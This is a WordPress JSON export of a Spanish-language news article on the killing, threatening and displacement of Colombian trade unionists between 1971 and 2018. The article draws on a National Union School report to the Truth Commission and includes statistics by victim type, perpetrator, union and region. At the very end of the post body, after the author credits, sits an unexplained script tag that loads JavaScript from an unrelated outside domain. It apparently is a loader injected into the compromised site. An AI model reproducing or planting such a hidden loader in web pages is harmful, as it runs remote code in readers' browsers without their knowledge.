{"id":20922,"date":"2020-09-08T18:29:19","date_gmt":"2020-09-08T18:29:19","guid":{"rendered":"http:\/\/www.lapluma.net\/?p=20922"},"modified":"2020-09-08T18:29:19","modified_gmt":"2020-09-08T18:29:19","slug":"asi-fue-el-exterminio-del-sindicalismo-en-colombia","status":"publish","type":"post","link":"https:\/\/www.lapluma.net\/fr\/2020\/09\/08\/asi-fue-el-exterminio-del-sindicalismo-en-colombia\/","title":{"rendered":"As\u00ed fue el exterminio del sindicalismo en Colombia"},"content":{"rendered":"<div>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Entre 1971 y 2018 fueron asesinados 3.240 sindicalistas en el pa\u00eds, desplazados casi dos mil y amenazados m\u00e1s de siete mil. En un informe que la Escuela Nacional Sindical le entreg\u00f3 a la Comisi\u00f3n de la Verdad se da cuenta de la violencia antisindical en el pa\u00eds, sus da\u00f1os e impactos.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"https:\/\/rebelion.org\/wp-content\/uploads\/2020\/09\/colombia_original_imagen-1536x864.jpg\" width=\"697\" height=\"392\" \/><\/p>\n<\/div>\n<div id=\"cols\" style=\"text-align: justify;\">\n<p><span style=\"font-size: 12pt;\">La llaman cultura antisindical. Y a esta la ha acompa\u00f1ado una violencia y un discurso en medios de comunicaci\u00f3n y voces oficiales de los gobiernos, que han se\u00f1alado a los sindicatos de estar relacionados con las guerrillas y de querer desestabilizar econ\u00f3micamente a las empresas.<\/span><\/p>\n<p><span style=\"font-size: 12pt;\">Esa cultura, a trav\u00e9s del se\u00f1alamiento y la estigmatizaci\u00f3n, no es nueva en Colombia. Desde el Frente Nacional, a finales de los cincuenta, se consolid\u00f3 un imaginario que se\u00f1alaba al sindicalismo como enemigo del progreso y el desarrollo. En esos a\u00f1os los profesores sindicalistas, por ejemplo, eran se\u00f1alados de liberales, alborotadores, masones y comunistas. Los calificativos en los a\u00f1os ochenta eran marxista leninista, revolucionario y guerrillero.<\/span><\/p>\n<p><span style=\"font-size: 12pt;\">Pero esto no solo sucedi\u00f3 con los profesores. Los efectos de la violencia antisindical, en el marco del conflicto armado, tanto por paramilitares, guerrillas y fuerza p\u00fablica, trajo consecuencias desastrosas para el sindicalismo. Solo unos datos de las violaciones a la vida e integridad f\u00edsica de las cuales fueron v\u00edctimas, seg\u00fan el Sistema de Informaci\u00f3n de Derechos Humanos de la Escuela Nacional Sindical (ENS): entre 1971 y 2018 fueron asesinados 3240 sindicalistas, amenazados 7.317, desaparecidos 250 y secuestrados 189.<\/span><\/p>\n<p><span style=\"font-size: 12pt;\">Ante ese tipo de afectaciones, los sindicatos han sufrido la desintegraci\u00f3n, desarticulaci\u00f3n y desestabilizaci\u00f3n de sus procesos, \u201cla divisi\u00f3n interna que genera la individualizaci\u00f3n de la amenaza, la dispersi\u00f3n de la acci\u00f3n colectiva, la p\u00e9rdida de direcci\u00f3n, el fraccionamiento de la base, la disminuci\u00f3n en la din\u00e1mica y la regulaci\u00f3n de la actividad sindical\u201d, dice la ENS en el informe\u00a0<em>Violencia antisindical en Colombia. Entre el exterminio y la violaci\u00f3n a la libertad sindical<\/em>, que entregaron a la Comisi\u00f3n de la Verdad.<\/span><\/p>\n<figure class=\"wp-block-table\">\n<table>\n<thead>\n<tr>\n<th>Tipo de violencia<\/th>\n<th>Mujeres<\/th>\n<th>Hombres<\/th>\n<th>Total general<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Amenazas<\/td>\n<td>1.878<\/td>\n<td>5.439<\/td>\n<td>7.317<\/td>\n<\/tr>\n<tr>\n<td>Homicidios<\/td>\n<td>335<\/td>\n<td>2.905<\/td>\n<td>3.240<\/td>\n<\/tr>\n<tr>\n<td>Desplazamiento forzado<\/td>\n<td>879<\/td>\n<td>1.072<\/td>\n<td>1.951<\/td>\n<\/tr>\n<tr>\n<td>Detenci\u00f3n arbitraria<\/td>\n<td>58<\/td>\n<td>710<\/td>\n<td>768<\/td>\n<\/tr>\n<tr>\n<td>Hostigamiento<\/td>\n<td>105<\/td>\n<td>577<\/td>\n<td>682<\/td>\n<\/tr>\n<tr>\n<td>Atentado con o sin lesiones<\/td>\n<td>47<\/td>\n<td>364<\/td>\n<td>411<\/td>\n<\/tr>\n<tr>\n<td>Desaparici\u00f3n forzada<\/td>\n<td>17<\/td>\n<td>233<\/td>\n<td>250<\/td>\n<\/tr>\n<tr>\n<td>Secuestro<\/td>\n<td>23<\/td>\n<td>166<\/td>\n<td>189<\/td>\n<\/tr>\n<tr>\n<td>Tortura<\/td>\n<td>8<\/td>\n<td>101<\/td>\n<td>109<\/td>\n<\/tr>\n<tr>\n<td>Allanamiento ilegal<\/td>\n<td>15<\/td>\n<td>57<\/td>\n<td>72<\/td>\n<\/tr>\n<tr>\n<td>Homicidio de familiar<\/td>\n<td>1<\/td>\n<td>2<\/td>\n<td>3<\/td>\n<\/tr>\n<tr>\n<td>Total general<\/td>\n<td>3.366<\/td>\n<td>11.626<\/td>\n<td>14.992<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<\/div>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002; text-align: justify;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\"><span style=\"font-size: 12pt;\">What do you want to do ?<\/span><\/div>\n<p><span style=\"font-size: 12pt;\"><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/span><\/div>\n<\/div>\n<div style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><img \/><\/span><\/div>\n<div>\n<h3><strong>Amenazar, desplazar, asesinar<\/strong><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Una amenaza dec\u00eda: \u201cUn mensaje de feliz navidad y pr\u00f3speros entierros a los miembros de la guerrilla. Ustedes los infiltrados, sapos, panfleteros, creen que las balas no los alcanzan, pero est\u00e1n completamente equivocados [\u2026] Les damos una semana para que se larguen de nuestra ciudad.\u201d<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Como esta, son muchas las amenazas que recibieron los sindicalistas en el pa\u00eds. Dice el informe que desde 1979 la victimizaci\u00f3n m\u00e1s fuerte fue el homicidio, hasta que desde mitad de los a\u00f1os noventa esta se redujo para dar paso a la amenaza, convirti\u00e9ndose en una pr\u00e1ctica sistem\u00e1tica. Esta \u00e9poca coincidi\u00f3 con la consolidaci\u00f3n de las Autodefensas Unidas de Colombia (AUC) como un proyecto armado que tuvo alcances nacionales, adem\u00e1s de los fallidos di\u00e1logos de paz entre la guerrilla de las Farc y el gobierno del presidente Andr\u00e9s Pastrana, por lo que luego hubo un mayor despliegue del paramilitarismo en el pa\u00eds, se recrudeci\u00f3 el conflicto armado y la violencia antisindical.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Seg\u00fan la ENS, del total de hechos victimizantes, 8.645 corresponden a trabajadores de base, 6.231 a dirigentes sindicales, 70 a asesores sindicales y sobre 46 no tienen mayores datos.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">El informe da cuenta de las afectaciones por todos los actores armados. De los cerca de 15 mil hechos victimizantes, 9.313 los cometi\u00f3 un actor desconocido, 3.862 por paramilitares, 487 por Polic\u00eda, 466 por las guerrillas y 449 por el Ej\u00e9rcito.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">La fuerza p\u00fablica, por ejemplo, se caracterizaba por hacer detenciones arbitrarias, mientras que las guerrillas comet\u00edan asesinatos selectivos. La violencia estatal se manifestaba de dos maneras: una, por parte de miembros de la fuerza p\u00fablica, caracterizada por ejecuciones extrajudiciales, atentados y desapariciones forzadas, \u201cesta violencia se escuda en ret\u00f3ricas antisubversivas a modo de justificaci\u00f3n de la ejecuci\u00f3n. Se construye sobre montajes artificiales para hacer pasar a las v\u00edctimas sindicales como guerrilleros en combate y se carga de elementos distractores, de confusi\u00f3n y de s\u00f3lidos apoyos por parte de la justicia militar\u201d, dice el informe; y dos, seg\u00fan el informe, \u201cla violencia estatal antisindical que utiliza a grupos paramilitares para su l\u00f3gica de exterminio, bien sea por mutua colaboraci\u00f3n y por aquiescencia, despejando el camino para la actuaci\u00f3n de los paramilitares\u201d.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">En cuanto a las guerrillas, su violencia estaba \u201cconstruida sobre la idea de un fracaso de cooptaci\u00f3n o alineaci\u00f3n de los sindicatos, fracaso interpretado como una especie de traici\u00f3n pol\u00edtica y, por tanto, sujeta a la acci\u00f3n violenta.\u201d<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Omar Romero, director de derechos humanos de la CUT, cree que se debe reconocer como genocidio el exterminio de los l\u00edderes sindicales en el pa\u00eds, mientras que Mirtha Rodr\u00edguez, l\u00edder de CTC, cree que la estrategia de los actores armados era controlar los territorios. De esta manera se captur\u00f3 el Estado a trav\u00e9s de los sindicatos p\u00fablicos, que fueron los m\u00e1s afectados. En este punto, ella se\u00f1ala que los sindicatos fueron golpeados por los actores armados porque son veedores, del cuidado de lo p\u00fablico y eso los convirti\u00f3 en un \u201cestorbo\u201d.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Humberto correa, director de Derechos Humanos de CGT, coincide con Mirtha, pues cree que los sindicatos fueron inc\u00f3modos, pues denunciaban la corrupci\u00f3n y esto los hizo blanco de sectores pol\u00edticos, econ\u00f3micos y armados que se vieron afectados por esa veedur\u00eda.<\/span><\/p>\n<h3><strong>Da\u00f1os e impactos de la violencia sindical<\/strong><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">El informe explica que la violencia antisindical se utiliz\u00f3 para regular los conflictos laborales, para mantener la precarizaci\u00f3n laboral y la subcontrataci\u00f3n, para ahorrar costos de producci\u00f3n, y as\u00ed bloquear la organizaci\u00f3n, movilizaci\u00f3n y huelga. \u201cDetr\u00e1s de este tipo de pr\u00e1cticas ha existido un prop\u00f3sito orientado a contrarrestar la acci\u00f3n negociadora y la regulaci\u00f3n de conflictos laborales, mediante la instrumentalizaci\u00f3n de los grupos armados. As\u00ed, las acciones de los grupos armados han perseguido intereses de disoluci\u00f3n o reducci\u00f3n del conflicto en provecho de terceros\u201d, indica el documento.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Pero la violencia tambi\u00e9n se utiliz\u00f3 para eliminar los liderazgos sindicales que obstaculizaban a los actores armados y a otros sectores la cooptaci\u00f3n, control y dominio de los territorios sobre los que ten\u00edan intereses. En este punto juega un papel determinante los grupos paramilitares, a trav\u00e9s de la infiltraci\u00f3n de instituciones p\u00fablicas y privadas. Para ello, la ENS pone como ejemplo a Anthoc, el sindicato de trabajadores y servidores p\u00fablicos de la salud, pues miembros de los grupos paramilitares se infiltraron en cargos p\u00fablicos y de gerencia de hospitales a finales de los noventa y de esta manera cooptaron los recursos.<\/span><\/p>\n<figure style=\"width: 653px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/i2.wp.com\/www.ipc.org.co\/agenciadeprensa\/wp-content\/uploads\/2020\/09\/Fecode.jpg?resize=696%2C497\" alt=\"\" width=\"653\" height=\"466\" \/><figcaption class=\"wp-caption-text\">Foto: cortes\u00eda Escuela Nacional Sindical.<\/figcaption><\/figure>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Adem\u00e1s, agregan que \u201cen Colombia se ha creado una tradici\u00f3n medi\u00e1tica de analizar las movilizaciones sindicales y laborales tomando como foco de debate las p\u00e9rdidas econ\u00f3micas, los posibles disturbios o los elementos extra\u00f1os (l\u00e9ase \u201cinfiltraci\u00f3n guerrillera\u201d) de las movilizaciones. Esta tradici\u00f3n deslegitima las movilizaciones y pretende legitimar las violencias.\u201d<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Ante esta violencia, los da\u00f1os e impactos fueron m\u00faltiples. Esto dio paso a las desafiliaciones, a la renuncia forzada y a los retiros temporales ante el temor generado por la violencia. Adem\u00e1s del rechazo a la sindicalizaci\u00f3n, las amenazas debilitaron y exterminaron sindicatos, disminuy\u00f3 la capacidad de convocatoria; dicha violencia sindical conllev\u00f3 al desplazamiento forzado y al exilio, con lo cual se despoj\u00f3 a los sindicatos de sus principales dirigentes y activistas, y gener\u00f3 miedo para que otros afiliados asumieran cargos directivos.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Por eso el informe concluye que \u201cla violencia antisindical alcanz\u00f3 un efecto tal de segregaci\u00f3n que al posicionar las organizaciones m\u00e1s afectadas como peligrosas, las exclu\u00edan poco a poco de los espacios de participaci\u00f3n evitando que los se\u00f1alamientos se extendieran a otros sectores\u201d.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Fecode fue el sindicato con m\u00e1s victimizaciones (6192 casos), seguido por Sintrainago (1027), USO (783) y CUT (524). Mientras que Antioquia, con 4701 casos, el departamento m\u00e1s afectado, seguido por Valle (1898), Santander (1376), Cesar (1007) y Bogot\u00e1 (776). Por lo que los departamentos ubicados en la zona andina, donde se concentra el crecimiento econ\u00f3mico del pa\u00eds, fueron los m\u00e1s violentados.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Estas son las conclusiones de uno de los tres informes que 14 organizaciones sindicales le entregaron a la Comisi\u00f3n de la Verdad. La comisionada Luc\u00eda Gonz\u00e1lez cree que los sindicatos se han jugado \u201cla vida por los derechos laborales, con coraje, coherencia y persistencia. Ustedes han sido unos h\u00e9roes en medio de esta batalla.\u201d Mientras que el comisionado Sa\u00fal Franco cree que en estos informes hay un esfuerzo \u201cgrande de racionalizar y de entender la l\u00f3gica\u201d de lo que les sucedi\u00f3 a los sindicatos en el pa\u00eds.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Entre las conquistas del sindicalismo est\u00e1n la aprobaci\u00f3n de la licencia de maternidad (1938), el salario m\u00ednimo (1949) y las 48 horas semanales (1934).<\/span><\/p>\n<p><strong><span class=\"author\" style=\"font-size: 14pt;\"> Juan Camilo Gallego Castro<\/span><\/strong><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Editado por <a href=\"http:\/\/www.lapluma.net\/nosotros\/editora\/\">Mar\u00eda Piedad Ossaba<\/a><\/span><\/strong><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Fuente: <a href=\"https:\/\/rebelion.org\/asi-fue-el-exterminio-del-sindicalismo-en-colombia\/\">Rebeli\u00f3n<\/a>, 7 de septiembre de 2020<\/span><\/strong><\/p>\n<\/div>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El informe explica que la violencia antisindical se utiliz\u00f3 para regular los conflictos laborales, para mantener la precarizaci\u00f3n laboral y la subcontrataci\u00f3n, para ahorrar costos de producci\u00f3n, y as\u00ed bloquear la organizaci\u00f3n, movilizaci\u00f3n y huelga.<\/p>\n","protected":false},"author":697,"featured_media":20923,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[216,7],"tags":[65,10619,3648,10615,10617,10621,725,10618,10616,10620],"coauthors":[10614],"class_list":["post-20922","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-colombia","category-ddhh","tag-abya-yala","tag-amenazar-desplazar-asesinar","tag-asesinados-de-lideres-sociales","tag-comision-de-la-verad","tag-danos-e-impactos","tag-juan-camilo-gallego-castro","tag-memoria-historica","tag-senalamiento-y-estigmatizacion","tag-violencia-antisindical","tag-violencia-sindical"],"translation":{"provider":"WPGlobus","version":"2.12.2","language":"fr","enabled_languages":["es","fr"],"languages":{"es":{"title":true,"content":true,"excerpt":true},"fr":{"title":false,"content":false,"excerpt":false}}},"_links":{"self":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/20922","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/users\/697"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/comments?post=20922"}],"version-history":[{"count":2,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/20922\/revisions"}],"predecessor-version":[{"id":20925,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/20922\/revisions\/20925"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media\/20923"}],"wp:attachment":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media?parent=20922"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/categories?post=20922"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/tags?post=20922"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/coauthors?post=20922"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}